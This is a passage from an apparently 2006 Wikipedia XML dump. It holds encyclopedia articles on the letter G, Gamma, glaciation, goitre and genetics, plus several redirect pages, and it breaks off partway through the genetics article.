[[ja:ゲイ]]
[[pl:Gej]]
[[pt:Gay]]
[[ru:Гей]]
[[simple:Gay]]
[[sv:Gay]]
[[zh:Gay]]</text>
    </revision>
  </page>
  <page>
    <title>G</title>
    <id>12255</id>
    <revision>
      <id>42054937</id>
      <timestamp>2006-03-03T14:15:00Z</timestamp>
      <contributor>
        <username>TheKoG</username>
        <id>367124</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">{{AZ|uc=G|lc=g}}
'''G''' is the seventh letter in the [[Roman alphabet]]. Its name in [[English language|English]] is ''gee'' ([[IPA]] [ʤi:]). 

==History==
The letter '''G''' was created by the Romans because they felt that [[C]] was not an adequate letter to represent both /k/ ''and'' /g/. 
{| align=&quot;center&quot; cellspacing=&quot;10&quot;
|- align=&quot;center&quot;
|[[Image:gimel.png|Hebrew &quot;gimel&quot;]]&lt;br /&gt;Hebrew ''gimel''&lt;br /&gt;
|[[Image:Phoenician_G.gif|Phoenician &quot;gimel&quot;|49px]]&lt;br /&gt;Phoenician ''gimel''&lt;br /&gt;
|[[Image:G 17162.gif|Classical Greek]]&lt;br /&gt;Classical Greek ''gamma''&lt;br /&gt;
|[[Image:Early Latin G2.gif|Early Latin]]&lt;br /&gt;Early Latin&lt;br /&gt;
|[[Image:Capital_C.svg|Late Latin|75px]]&lt;br /&gt;Late Latin&lt;br /&gt;
|}
The recorded inventor of the letter G is [[Spurius Carvilius Ruga]], who taught around 230 BC: 

:The first derived letter of the Latin alphabet can be dated to the 3rd century BCE. Latin phonology was different again from Etruscan; while Q was used for the labiovelar /k&lt;sup&gt;w&lt;/sup&gt;/, C continued to represent /k/ before /e/ and /i/ as well as in other environments (K had become unpopular and fallen out of general use in favour of C). Latin had a voiced velar /ɡ/, however, which also had to be represented by C. The first Roman to open a fee-paying school, a freedman named Spurius Carvilius Ruga, amended the Latin script by replacing the seventh letter, Z, which represented the unneeded Greek sound /dz/, with a new letter, LATIN LETTER C WITH STROKE, which we have come to know as G. [...] Note that Ruga’s positioning of G shows that alphabetic order was a concern even in the 3rd century BCE. Sampson (1985) suggested that: “Evidently the order of the alphabet was felt to be such a concrete thing that a new letter could be added in the middle only if a ‘space’ was created by the dropping of an old letter.” LATIN LETTER G is a derived letter which has become a basic letter of the Latin alphabet.[http://www.evertype.com/standards/wynnyogh/thorn.html]

As the sound /k/ [[did]], /g/ also developed [[palatal consonant|palatal]] and [[velar consonant|velar]] [[allophone]]s which is why today, G has different sound values in all Romance languages, as well as  [[English language|English]] (due to [[French language|French]] influence).

The modern [[minuscule]] (lower-case) G has two basic shapes: the &quot;opentail G&quot; [[Image:Opentail g.PNG|10px]] and the &quot;looptail G&quot; [[Image:Looptail g.PNG|10px]]. The opentail version derives from the majuscule (capital) form by raising the [[serif]] that distinguishes it from a C to the top of the loop, thereby closing the loop, and extending the vertical stroke downward and to the left. The looptail form developed similarly, except that some ornate forms then extended the tail back to the right, and to the left again, forming a loop. The initial extension to the left was absorbed into the upper loop. The looptail version became popular when printing switched to &quot;Roman type&quot; because the tail was effectively shorter, making it possible to put more lines on a page. And in the looptail version, there is a tiny flick at the upper right which in typography is called its &quot;ear.&quot;

Generally, the two minuscule forms are interchangeable, but occasionally the difference has been exploited to make a contrast. The 1949 ''Principles of the [[International Phonetic Association]]'' recommends using [[Image:Opentail g.PNG|10px]] for advanced [[voiced velar plosive]]s and [[Image:Looptail g.PNG|10px]] for regular ones where the two are contrasted, but this suggestion was never accepted by [[phonetics|phoneticians]] in general, and today [[Image:Opentail g.PNG|10px]] is the symbol used in the [[International Phonetic Alphabet]], with [[Image:Looptail g.PNG|10px]] acknowledged as an acceptable variant.

==Usage==
In English, the letter can be pronounced as a &quot;soft G&quot; ([[IPA chart for English|IPA]] {{IPA|/d[[Voiced postalveolar fricative|ʒ]]/}}), as in: ''[[giant (disambiguation)|giant]]'', ''[[ginger]]'', ''[[geology]]'', or as a &quot;hard G&quot; (IPA {{IPA|/g/}}), as in: ''goose'', ''gargoyle'', ''game''. In some words of French origin, as in [[French language|French]] generally, the &quot;soft G&quot; is pronounced as IPA {{IPA|/ʒ/}}, as in ''rouge'', ''beige'', and ''genre''. Generally, G is soft before E, I, and Y, and hard otherwise, but there are many English words of non-Romance origin where G is hard regardless of position, and three (''gaol,'' ''margarine,'' and the name ''[[Sacagawea]]'') in which it is soft even before an A.

Most non-Romance languages pronounce G as {{IPA|/g/}} regardless of position (however the [[Dutch language]] does not have a /g/ sound in its native words, and instead G is pronounced {{IPA|/[[Voiced velar fricative|ɣ]]/}}, a sound that does not occur in English) while in Romance languages the soft value varies, such as {{IPA|/ʒ/}} in French, Catalan, and Portuguese, {{IPA|/ʤ/}} in Italian, and {{IPA|/x/}} in Castillian Spanish and {{IPA |/h/}} in other dialects of Spanish. The general rule is that soft G is pronounced the same as the J of the same language.

Several [[Digraph (orthography)|digraph]]s are common in English. GH originally represented the letter [[yogh]] which English adopted from [[Old Irish]], and took various values including {{IPA|/g/}}, {{IPA|/ɣ/}}, {{IPA|/x/}}, and {{IPA|/j/}}. It now has a great variety of values, including {{IPA|/f/}} in ''enough'', {{IPA|/g/}} in loan words like ''spaghetti'', and silence in words like ''eight'' and ''night''. GN, with value {{IPA|/n/}}, is also common, as in ''sign''.

In Italian, GH is used to force a {{IPA|/g/}} value before E and I where G would take a soft value, and GN is used for {{IPA|/[[Palatal nasal|ɲ]]/}} (rather like English NY in ''canyon'').

In Spanish, G before I or E is pronounced as the same as J. The Spanish poet [[Juan Ramón Jiménez]] proposed to simplify the Spanish spelling by using just the versions with [[j]]. The rest of Spanish speakers did not follow him, but his works, and the translations of [[Rabindranath Tagore]] made by Jiménez's wife [[Zenobia Camprubí]], are published in his spelling.

==Codes for computing==
{{Letter
|NATO=Golf
|Morse=––·
|B1=●
|B2=●
|B3=○
|B4=●
|B5=●
|B6=○
}}
In [[Unicode]] the [[majuscule|capital]] G is codepoint U+0047 and the [[minuscule|lowercase]] g is U+0067.

The [[ASCII]] code for capital G is 71 and for lowercase g is 103; or in [[Binary numeral system|binary]] 01000111 and 01100111, correspondingly.

The [[EBCDIC]] code for capital G is 199 and for lowercase g is 135.

The [[numeric character reference]]s in [[HTML]] and [[XML]] are &quot;&lt;tt&gt;&amp;amp;#71;&lt;/tt&gt;&quot; and &quot;&lt;tt&gt;&amp;amp;#103;&lt;/tt&gt;&quot; for upper and lower case respectively.

==Meanings for G==

* In [[architecture]], often seen in elevators, '''G''' stands for the &quot;Ground Floor&quot; or &quot;General Floor&quot;, usually the main entrance floor.
* In [[astronomy]],
** G stands for an April 1 through 15 discovery, in the provisional designation of a comet (e.g. [[C/1901 G1]], the Great Comet of 1901) or asteroid (e.g. {{mpl|(3795) 1986 GV|1}}).
* In [[biochemistry]],
** G is the symbol for [[glycine]] and [[guanosine]].
** G is a type of [[G protein|protein]].
* In the [[RGB]] [[color model]], G stands for the color [[green]].
* In [[programming languages]],
** G is the graphical programming language used in [[LabVIEW]].
* In [[computer game]]s,
** ''G'' is a character in [[Sega]]'s ''[[The House of the Dead (video game)|House of the Dead]]'' series of [[arcade game]]s,
** G is the name of a [[currency]] in some [[computer role-playing game]]s, meaning [[gold]].
** 'G' is the class of gnomes and 'g' is a gremlin in the [[Roguelike]] game [[NetHack]].
* In [[computing]], G is a [[binary prefix]] for ''giga'', meaning 2&lt;sup&gt;30&lt;/sup&gt; = 1,073,741,824 (cf. G as an SI prefix in the Metric system, given below)
* In [[electrical engineering]], ''G'' is often used as the name of the [[variable]] for [[conductance]].
* In [[English language|English]] [[slang]], g is short for &quot;gangsta&quot; ([[gangster]]) or for a &quot;grand&quot;, which is itself a slang term for a thousand currency units. Additionally, in the illegal drug trade it is common to refer to a gram of a substance as a &quot;g&quot;; although this is derived from the SI symbol, referring to other SI units by their symbol in speech is uncommon. ''G'' may also refer to the drug [[methamphetamine]].
* In [[film]], 
**G is a [[MPAA film rating system|rating]] given by the [[Motion Picture Association of America]], meaning the film is suitable for all (&quot;general&quot;) audiences. 
**[[G (1974 film)|''G'']] is also the name of a [[British film]] from [[1974]].  An American film, [[G (2002 film)|also called ''G'']], was released as an [[independent film]] in [[2002]]; it was released to movie theaters in [[2005]].
* In [[finance]], G is the [[New York Stock Exchange]] [[ticker symbol]] for [[The Gillette Company]]
* In [[List of international license plate codes|international licence plate codes]], G stands for [[Gabon]].
* In [[literature]], ''[[G. (novel)|G.]]'' is the title of a book by [[John Berger]].  This book was awarded the [[Booker Prize]] in [[1972]].
* In the [[SI]] system, 
**an upright capital G is the [[SI prefix]] for ''giga'', meaning 10&lt;sup&gt;9&lt;/sup&gt; = 1,000,000,000. 
**an upright lowercase g is the symbol for a unit of [[mass]], the [[gram (unit)|gram]].
* In the [[CGS]] system,
**capital G is also the symbol for the unit of [[magnetic induction]], the [[gauss]]. 
* In [[music]], G is a [[note]].
* In [[physics]],
** [[gravitational constant|''G'']] is the [[gravitational constant]].
** [[Gee|''g'']] (always in lowercase) is the unit of [[acceleration]] due to gravity.
* As the first letter of a [[postal code]],
** In [[Canada]], G stands for the eastern part of [[Quebec]].
** In the [[United Kingdom]], G stands for [[Glasgow]].
* In [[psychometrics]], g (always in lowercase) is the symbol for [[General intelligence factor|general intelligence]].
* In [[radio]]communication, G is one of the [[ITU prefix]]es allocated to the [[United Kingdom]].
* In [[sexology]], the [[G-spot]] is also a part of the vagina that allegedly causes an orgasm when stimulated.
* In [[television]], '''G''' is the [[Television rating system|TV Rating]] that stands for General, meaning the program is appropriate for everyone.
* In [[economics]], G is usually used to represent [[government spending]] or government expenditure.
* In [[Freemasonry]], the letter ''G'' is often found in The Masonic Square and Compasses symbol.  The meaning is attributed to the word &quot;God&quot; or &quot;geometry&quot;.
* G is an abbreviated nickname of [[Andrew G]].

==See also==
*[[Ĝ|''Ĝ'' and ''ĝ'']]
*[[Ğ|''Ğ'' and ''ğ'']]
*[[Carolingian G]]
*[[Insular G]]

{{AZsubnav}}

[[Category:Latin letters]]

[[als:G]]
[[bs:G]]
[[ca:G]]
[[sn:G]]
[[cs:G]]
[[da:G]]
[[de:G]]
[[el:G]]
[[es:G]]
[[eo:G]]
[[fr:G]]
[[gl:G]]
[[ko:G]]
[[hr:G]]
[[id:G]]
[[it:G]]
[[he:G]]
[[kw:G]]
[[la:G]]
[[hu:G]]
[[nl:G]]
[[ja:G]]
[[no:G]]
[[nn:G]]
[[pt:G]]
[[ro:G]]
[[simple:G]]
[[sk:G]]
[[sl:G]]
[[fi:G]]
[[sv:G]]
[[tl:G]]
[[vi:G]]
[[yo:G]]
[[zh:G]]</text>
    </revision>
  </page>
  <page>
    <title>Greek Alphabet</title>
    <id>12256</id>
    <revision>
      <id>15909957</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Greek alphabet]]
</text>
    </revision>
  </page>
  <page>
    <title>Gamma</title>
    <id>12257</id>
    <revision>
      <id>41737758</id>
      <timestamp>2006-03-01T11:23:59Z</timestamp>
      <contributor>
        <username>Fredrik</username>
        <id>26675</id>
      </contributor>
      <minor />
      <comment>lowercase</comment>
      <text xml:space="preserve">:''This article is about the letter.  For the electromagnetic ray, see [[Gamma ray]]''
{{Table_Greekletters|letter=gamma}}
'''Gamma''' (upper case &amp;Gamma;, lower case &amp;gamma;) is the third letter of the [[Greek alphabet]].   It derives from the [[Phoenician alphabet|Phoenician]] [[Gimel (letter)|Gimel]] [[Image:phoenician_gimel.png|20px|Gimel]]. In [[Greek language|Modern Greek]], it is pronounced [[voiced velar fricative|{{IPA|[ɣ]}}]] or [[Voiced palatal fricative|{{IPA|[&amp;#669;]}}]], and in [[Ancient Greek]], it was pronounced [[voiced velar plosive|{{IPA|[ɡ]}}]] or [[velar nasal|{{IPA|ŋ}}]] before plosives. In the system of [[Greek numerals]] it has a value of 3.

Letters that arose from Gamma are the Roman [[C]] and [[G]] and the Cyrillic letters [[Ge (Cyrillic)|Ge]] Г and [[Ghe (Cyrillic)|Ghe]] Ґ.

== Use in science == 
Gamma is often used to denote a variable in [[mathematics]] and [[physics]].
In certain areas it has specific meaning. 

* '''[[Gamma correction]]''' in [[photography]], [[television]] and [[computer display]] systems. '''''Gamma''''' is the [[exponent]] in a power-law relationship between [[video]] or [[pixel]] values and the displayed brightness. In photography it is the slope of the curve of (density or log(opacity)) of the film image versus log(exposure) (the [[sensitometry|Hurter-Driffield curve]]), in the straight line region. 
* 1 gamma is a unit of [[magnetic flux density]], 1 gamma = 10&lt;sup&gt;&amp;minus;9&lt;/sup&gt; [[Tesla (unit)|tesla]] or 1 [[nanotesla]].
* [[Gamma wave]]s are a type of [[electroencephalography|brain waves]] around 40 [[hertz]].

=== Upper-case ===
The upper-case letter &amp;Gamma; is used as the symbol for:
* The [[gamma function]] (related to factorials) in mathematics.
* The [[Gamma distribution]] in probability theory and statistics.
* The [[Christoffel symbol]] in [[General Relativity]].
* The [[reflection coefficient]] in [[electrical engineering]].
* The [[linewidth]] relating to uncertainty of mass energy in short-lived particles.
* The symbol on the hat of Nintendo character [[Waluigi]].

=== Lower-case ===
The lower-case letter &amp;gamma; is used as the symbol for:
* The [[Euler-Mascheroni constant]] in mathematics.
* A risk management measure in [[mathematical finance]].
* The [[photon]], seen as an elementary particle in physics.
* [[Gamma ray]]s in physics and astronomy.
* The [[Lorentz factor|gamma factor]] in relativity theory and astronomy.
* The [[adiabatic index]] of a gas in physics. Often the letter kappa &amp;kappa; is used.
* The [[propagation constant]] of an electromagnetic wave (in [[electrical engineering]] and [[electromagnetic theory]]).
* The third brightest (usually) star in a [[constellation]].  ''See'' [[Bayer designation]].

== Fictional names ==
* In the game of [[Tetris]], '''''gamma''''' is another name for the J [[tetromino]].
* [[E-102 Gamma]] is a fictional robotic character in the Sonic the Hedgehog universe.
* Gamma is a giant peace-keeping robot stolen by [[Dr. Wily]] which is the final boss of [[Capcom]]'s [[Nintendo]] game [[Megaman]] 3.
*Gamma is the third caste in Aldous Huxley's dystopic satire [[Brave New World]].

== Trivia ==
* [[Tropical Storm Gamma]] is the third Atlantic tropical storm to be named using the Greek alphabet.

[[Category:Greek letters]]

[[als:Γ]]
[[ca:Gamma]]
[[da:Gamma (bogstav)]]
[[de:Gamma]]
[[el:Γάμμα]]
[[es:Γ]]
[[fr:Gamma]]
[[ga:Gáma]]
[[gl:Gamma]]
[[ko:Γ]]
[[he:גמא (אות)]]
[[la:Gamma]]
[[nl:Gamma (letter)]]
[[nds:Gamma]]
[[ja:Γ]]
[[no:Gamma]]
[[nn:Gamma]]
[[pl:Gamma]]
[[pt:Γ]]
[[ru:Гамма (буква)]]
[[sl:Gama]]
[[sr:Гама]]
[[fi:Gamma]]
[[sv:Gamma]]</text>
    </revision>
  </page>
  <page>
    <title>George Orwell/Animal Farm</title>
    <id>12258</id>
    <revision>
      <id>15909959</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Carey Evans</username>
        <id>25</id>
      </contributor>
      <comment>un-subpage</comment>
      <text xml:space="preserve">#REDIRECT [[Animal Farm]]</text>
    </revision>
  </page>
  <page>
    <title>George Orwell/1984</title>
    <id>12259</id>
    <revision>
      <id>15909960</id>
      <timestamp>2002-09-18T21:05:41Z</timestamp>
      <contributor>
        <username>Montrealais</username>
        <id>3378</id>
      </contributor>
      <text xml:space="preserve">#redirect [[Nineteen Eighty-Four]]</text>
    </revision>
  </page>
  <page>
    <title>George Orwell/Keep the Aspidistra Flying</title>
    <id>12261</id>
    <revision>
      <id>15909962</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Carey Evans</username>
        <id>25</id>
      </contributor>
      <comment>un-subpage</comment>
      <text xml:space="preserve">#REDIRECT [[Keep the Aspidistra Flying]]</text>
    </revision>
  </page>
  <page>
    <title>Glaciation</title>
    <id>12262</id>
    <revision>
      <id>30330295</id>
      <timestamp>2005-12-06T10:58:36Z</timestamp>
      <contributor>
        <username>Cactus.man</username>
        <id>264914</id>
      </contributor>
      <minor />
      <comment>[[:en:Wikipedia:Tools/Navigation_popups|Popups]]-assisted redirection bypass from [[Varanger glaciation]] to [[Cryogenian]]</comment>
      <text xml:space="preserve">A '''glaciation''' (a created composite term meaning '''Glacial Period''', referring to the ''Period or Era of'', as well as the process of ''High Glacial Activity''), often called an ''[[ice age]]'', is a [[geology|geological]] phenomenon in which massive [[ice]] sheets form in the [[Arctic]] and [[Antarctica|Antarctic]] and advance toward the [[equator]]. Conversely, the term ''interglacial'' or ''Interglacial Period'', such as the current era, is used to denote the absence of large-scale glaciation on a global scale &amp;mdash; i.e., a ''non-Ice Age''.  Interglacials are, in general, shorter than glacial epochs.

Glaciations are characterized by cool, wet climates and thick ice sheets extending from each pole. [[Mountain]] or alpine [[glacier]]s in otherwise unglaciated areas expand and extend to lower elevations even in the lowest of [[latitude]]s.  Sea levels drop due to the presence of large volumes of water above sea level in the icecaps.  There is evidence that ocean circulation patterns are disrupted by glaciations. Since the earth has significant continental glaciation in the Arctic and Antarctic, we currently are in a glacial minimum of a glaciation. Such a period between glacial maxima is known as an &quot;interglacial&quot;. The current one is the [[Flandrian]].

In general, the [[Earth]] seems to have been ice-free even in high latitudes except during relatively rare glacial maximums such as the one from which we emerged 10 to 15 thousand years ago.

The causes of glaciations have been much debated ever since the phenomenon was clearly identified in the [[17th century]].  Modern theories tend to revolve around periodic oscillations in the Earth's [[Planetary orbit|orbit]], hypothesized periodic changes in solar output, and/or the effects of continental masses drifting into polar regions where Antarctica currently resides.

Known periods of glaciation include the [[Huronian]] (2400 Ma - 2100 Ma), [[Cryogenian|Sturtian-Varangian]] (950 Ma - 570 Ma), [[Andean-Saharan]] (450 Ma - 420 Ma), [[Karoo]] (360 Ma - 260 Ma), [[Cenozoic]] (30 Ma - Present).  These can be further divided by location and time (e.g.: the names Riss (180,000 - 130,000 years bp) and Würm (70,000 - 10,000 years bp) refer specifically to glaciation at the headwaters of the Donau/Rhine rivers.) Not every year in each interval was a time of complete or even partial glaciation.  The best-studied glaciation, that of the recent past, appears to have taken place in at least four separate ice incursions and retreats.  Unfortunately, the scouring action of each glaciation tends to remove most of the evidence of prior ice sheets almost completely, except in regions where the later sheet doesn't achieve full coverage.  It is probable that glacial periods other than those above have been overlooked because of the paucity of exposed rocks from high latitudes from older periods.   The [[Cryogenian|Varanger glaciation]] was especially severe and may have extended to the [[Equator]].  This has led to a recent &quot;[[Snowball Earth]]&quot; hypothesis - that the Earth froze over completely in the late [[Proterozoic]], then thawed very rapidly as trapped [[water]] and [[carbon dioxide]] were returned to [[Earth's atmosphere]]. An alternative hypothesis, sometimes called [[Slushball Earth]], maintains that the Equator at least was ice-free.

-----

The term ''[[ice age]]'' is used to refer either to a single glaciation or to an entire period of repeated glaciations such as the recent 30 million years of the [[Cenozoic]] period, especially the Pleistocene glaciations.

==See also==
*[[Timeline of glaciation]]

[[Category:Glaciology]]

[[ca:Glaciació]]
[[da:Mellemistid]]
[[de:Eiszeit]]
[[es:Glaciación]]
[[fa:یخگیری]]
[[fr:Glaciation]]
[[pl:Zlodowacenie]]</text>
    </revision>
  </page>
  <page>
    <title>Goitre</title>
    <id>12265</id>
    <revision>
      <id>42097799</id>
      <timestamp>2006-03-03T20:38:06Z</timestamp>
      <contributor>
        <username>Larchoye</username>
        <id>1025007</id>
      </contributor>
      <minor />
      <comment>changed Great Lake to Great Lakes, since the link forwards to it anyways</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name        = Goitre |
  ICD10       = E01-E07, P72 |
  ICD9        = {{ICD9|240}}-{{ICD9|242}} |
}}
A '''goitre''' (or '''goiter''') ([[Latin]] ''struma'') is a swelling in the neck (just below adam's apple or [[larynx]]) due to an enlarged [[thyroid|thyroid gland]]. They are classified in different ways: 

* A &quot;diffuse goitre&quot; is a goitre that has spread through all of the thyroid (and is contrasted with a &quot;simple goitre&quot;, &quot;single thyroid nodule&quot; and &quot;multinodular goitre&quot;.

* &quot;Toxic goitre&quot; refers to goitre deriving from [[inflammation]], [[neoplasm]], or malfunction of the  [[thyroid]], while &quot;nontoxic goitre&quot; refers to all other types (such as that caused by [[lithium]] or an [[autoimmune]] reaction.)

==Causes==
The most common cause for goitre in the world is [[iodine]] deficiency (E01). Other causes are:
* [[Hashimoto's thyroiditis]] (E06.3)
* [[Graves-Basedow disease]] (E05.0)
* [[juvenile goitre]] due to [[congenital hypothyroidism]] (E03.0)
* [[neoplasm]] of the thyroid 
* [[thyroiditis]] (acute, chronic) (E06)
* [[Adverse drug reaction|side-effects]] of [[pharmacological therapy]] (E03.2)

==Occurrence==
Iodine is necessary for the synthesis of the thyroid [[hormone]]s, [[triiodothyronine]] and [[thyroxine]] (T3 and T4). When iodine is not available, these hormones cannot be made. In response to low thyroid hormones, the [[pituitary gland]] releases [[thyroid stimulating hormone]] (TSH). Thyroid stimulating hormone acts to try and increase synthesis of T3 and T4, but it also causes the thyroid gland to grow in size as a type of compensation.

Goitre is more common among women. Treatment may not be necessary if the goitre is not caused by disease and is small. Removal of the goitre may be necessary if it causes difficulty with breathing or swallowing.

==History and future==
Goitre was previously common in many areas that were deficient in iodine in the [[soil]]. For example, in the [[English Midlands]], the condition was known as '''Derbyshire Neck'''. In the [[United States]], goitre was found in the [[Great Lakes]], [[Midwestern United States|Midwest]], and Intermountain regions. The condition now is practically absent in affluent nations, where [[Sodium chloride|table salt]] is [[Iodized salt|supplemented with iodine]]. However, it is still prevalent in [[Central Asia]] and [[Central Africa]].

Some health workers fear that a resurgence of goitre might occur because of the trend to use [[rock salt]] and/or [[sea salt]], which has not been fortified with iodine.

== External links ==
* [http://www.nhsdirect.nhs.uk/en.asp?TopicID=219&amp;AreaID=1222&amp;LinkID=825 National Health Services, UK]
*[http://www.iodinenetwork.net  Network for Sustained Elimination of Iodine Deficiency]
* [http://www.sph.emory.edu/PAMM/sang/partnership/ Network for Sustained Elimination of Iodine Deficiency] - alternate site at [[Emory University]]'s School of [[Public Health]]
* [http://www.nlm.nih.gov/medlineplus/ency/article/001178.htm NIH]

[[Category:Endocrine diseases]]
[[Category:Malnutrition]]

[[de:Struma]]
[[es:Bocio]]
[[fr:Goitre]]
[[id:Gondok]]
[[it:Gozzo endemico]]
[[pl:Wole (tarczyca)]]
[[pt:Bócio]]
[[sv:struma]]
[[ta:முன்கழுத்துக் கழலை]]</text>
    </revision>
  </page>
  <page>
    <title>Genetics</title>
    <id>12266</id>
    <revision>
      <id>41176300</id>
      <timestamp>2006-02-25T15:35:20Z</timestamp>
      <contributor>
        <username>Verdant04</username>
        <id>816043</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">'''Genetics''' (from the [[Greek language|Greek]] genno '''&amp;#947;&amp;#949;&amp;#957;&amp;#957;&amp;#974;'''= give birth) is the [[science]] of [[gene]]s, [[heredity]], and the [[variation]] of [[organism]]s. The word genetics was first suggested to describe the study of inheritance and the science of variation by the British scientist [[William Bateson]] in a personal letter to [[Adam Sedgwick]], dated [[April 18]], [[1905]].  Bateson first used the term genetics publicly at the Third International Conference on Genetics (London, England) in 1906.

[[Human]]s applied knowledge of genetics in prehistory with the [[domestication]] and [[selective breeding|breeding]] of [[plant]]s and [[animal]]s. In modern research, genetics provides important tools for the investigation of the function of a particular gene, e.g., analysis of [[genetic interactions]]. Within [[organism]]s, genetic information generally is carried in [[chromosome]]s, where it is represented in the [[DNA sequence|chemical structure]] of particular [[DNA]] [[molecule]]s.

[[Gene]]s encode the information necessary for synthesizing the [[amino-acid]] sequences in [[protein]]s, which in turn play a large role in determining the final [[phenotype]], or physical appearance, of the organism. In [[diploid]] organisms, a [[dominant]] [[allele]] on one chromosome will mask the expression of a [[recessive]] gene on the other.
The phrase '''to code for''' is often used to mean a gene contains the instructions about how to build a particular protein, as in ''the gene codes for the protein''.
The &quot;one gene, one protein&quot; concept is now known to be simplistic. For example, a single gene may produce multiple products, depending on how its [[transcription (genetics)|transcription]] is regulated. Genes code for the [[nucleotide]] sequences in [[messenger RNA|mRNA]], [[transfer RNA|tRNA]] and [[ribosomal RNA|rRNA]], required for protein synthesis.

Genetics determines much (but not all) of the appearance of organisms, including humans, and possibly how they act. [[Environment]]al differences and [[randomness|random]] factors also play a part. [[Twin|Monozygotic (&quot;identical&quot;) twins]], a [[cloning|clone]] resulting from the early splitting of an embryo, have the same DNA, but different [[personality|personalities]] and [[fingerprint]]s. Genetically-identical plants grown in colder [[climate]]s incorporate shorter and less-saturated [[fatty acid]]s to avoid stiffness.

==History==
{{main|History of genetics}}

In his paper &quot;Versuche über Pflanzenhybriden&quot; (&quot;Experiments in Plant Hybridization&quot;), presented in [[1865]] to the Brunn Natural History Society, [[Gregor Mendel]] traced the inheritance patterns of certain traits in pea plants and showed that they could be described mathematically. Although not all features show these patterns of [[Mendelian inheritance]], his work suggested the utility of the application of statistics to the study of inheritance. Since that time many more complex forms of inheritance have been demonstrated.  

The significance of Mendel's work was not understood until early in the twentieth century, after his death, when his research was re-discovered by other scientists working on similar problems.

Mendel did not understand the nature of inheritance. We now know that some heritable information is carried in [[DNA]]. ([[Retrovirus]]es, including [[influenza]], [[oncovirus]]es and [[HIV]], and many [[plant virus]]es, carry information as [[RNA]].) Manipulation of DNA can in turn alter the inheritance and features of various organisms.
===Timeline of notable discoveries===
:[[1859]] [[Charles Darwin]] publishes ''[[The Origin of Species]]''
:[[1865]] [[Gregor Mendel]]'s paper, ''Experiments on Plant Hybridization''
:[[1903]] [[Chromosome]]s are discovered to be hereditary units
:[[1905]] British biologist [[William Bateson]] coins the term &quot;genetics&quot; in a letter to Adam Sedgwick
:[[1910]] [[Thomas Hunt Morgan]] shows that genes reside on chromosomes
:[[1913]] [[Alfred Sturtevant]] makes the first genetic map of a chromosome
:[[1913]] [[Gene map]]s show chromosomes containing linear arranged genes
:[[1918]] [[Ronald Fisher]] publishes ''On the correlation between relatives on the supposition of Mendelian inheritance'' - the [[modern synthesis]] starts.
:[[1927]] Physical changes in genes are called [[mutation]]s
:[[1928]] [[Frederick Griffith]] discovers a hereditary molecule that is transmissible between bacteria (see [[Griffiths experiment]])
:[[1931]] [[Crossing over]] is the cause of [[recombination]] (see [[Barbara McClintock]] and [[cytogenetics]])
:[[1941]] [[Edward Lawrie Tatum]] and [[George Wells Beadle]] show that genes code for [[protein]]s; see the original [[central dogma of genetics]]
:[[1944]] [[Oswald Theodore Avery]], [[Colin McLeod]] and [[Maclyn McCarty]] isolate [[DNA]] as the genetic material (at that time called [[transforming principle]])
:[[1950]] [[Erwin Chargaff]] shows that the four nucleotides are not present in nucleic acids in stable proportions, but that some general rules appear to hold (e.g., that the amount of adenine, A, tends to be equal to that of thymine, T). [[Barbara McClintock]] discovers [[transposon]]s in [[maize]]
:[[1952]] The [[Hershey-Chase experiment]] proves the genetic information of [[phage]]s (and all other organisms) to be DNA
:[[1953]] DNA structure is resolved to be a double [[helix]] by [[James D. Watson]] and [[Francis Crick]], with the help of [[Rosalind Franklin]]
:[[1956]] [[Jo Hin Tjio]] and [[Albert Levan]] established the correct [[chromosome]] number in humans to be 46
:[[1958]] The [[Meselson-Stahl experiment]] demonstrates that DNA is [[semiconservative replication|semiconservatively replicated]]
:[[1961]] The [[genetic code]] is arranged in triplets
:[[1964]] [[Howard Temin]] showed using [[RNA virus]]es that Watson's [[central dogma]] is not always true
:[[1970]]  [[Restriction enzymes]] were discovered in studies of a bacterium, ''Haemophilius influenzae'', enabling scientists to cut and paste DNA
:[[1977]] DNA is [[sequencing|sequenced]] for the first time by [[Fred Sanger]], [[Walter Gilbert]], and [[Allan Maxam]] working independently. Sanger's lab complete the entire genome of sequence of [[Bacteriophage]] [[Phi-X174 phage|&amp;Phi;-X174;]].
:[[1983]] [[Kary Banks Mullis]] discovers the [[polymerase chain reaction]] enabling the easy amplification of DNA
:[[1985]] [[Alec Jeffreys]] discovers genetic finger printing.
:[[1989]] The first human gene is sequenced by [[Francis Collins]] and [[Lap-Chee Tsui]]. It encodes the [[CFTR]] protein.  Defects in this gene cause [[cystic fibrosis]] 
:[[1995]] The genome of ''[[Haemophilus influenzae]]'' is the first genome of a free living organism to be sequenced
:[[1996]] Saccharomyces cerevisiae is the first [[eukaryote]] genome sequence to be released
:[[1998]] The first genome sequence for a multicellular eukaryote, ''[[C. elegans]]'' is released
:[[2001]] First draft sequences of the human genome are released simultaneously by the [[Human Genome Project]] and [[Celera Genomics]].
:[[2003]] ([[14 April]]) Successful completion of Human Genome Project with 99% of the genome sequenced to a 99.99% [[accuracy]] [http://www.genoscope.cns.fr/externe/English/Actualites/Presse/HGP/HGP_press_release-140403.pdf]

==Areas of genetics==
===Classical genetics===
:''Main articles:'' [[Classical genetics]], [[Mendelian inheritance]]

Classical genetics consists of the techniques and methodologies of [[genetics]] that predate the advent of [[molecular biology]]. After the discovery of the [[genetic code]] and such tools of [[Clone (genetics)|cloning]] as [[restriction enzyme]]s, the avenues of investigation open to geneticists were greatly broadened. Some classical genetic ideas have been supplanted with the mechanistic understanding brought by molecular discoveries, but many remain intact and in use, such as [[Mendelian inheritance|Mendel's laws]]. Patterns of inheritance still remain a useful tool for the study of [[genetic disease]]s.

===Behavioral genetics===
:''Main article:'' [[Behavioural genetics]] (British spelling) 
Behavioral genetics studies the influence of varying genetics on animal behavior.

===Clinical genetics===
{{main|Clinical genetics}}

[[Physician]]s who are trained as Geneticists diagnose, treat, and counsel patients with [[genetic disorder]]s or [[syndrome]]s.  
These doctors are typically trained in a genetics [[Residency (medicine)|residency]] and/or [[fellowship]].  Although many are [[pediatrician]]s, some are not.  

===Molecular genetics===
{{main|Molecular genetics}}

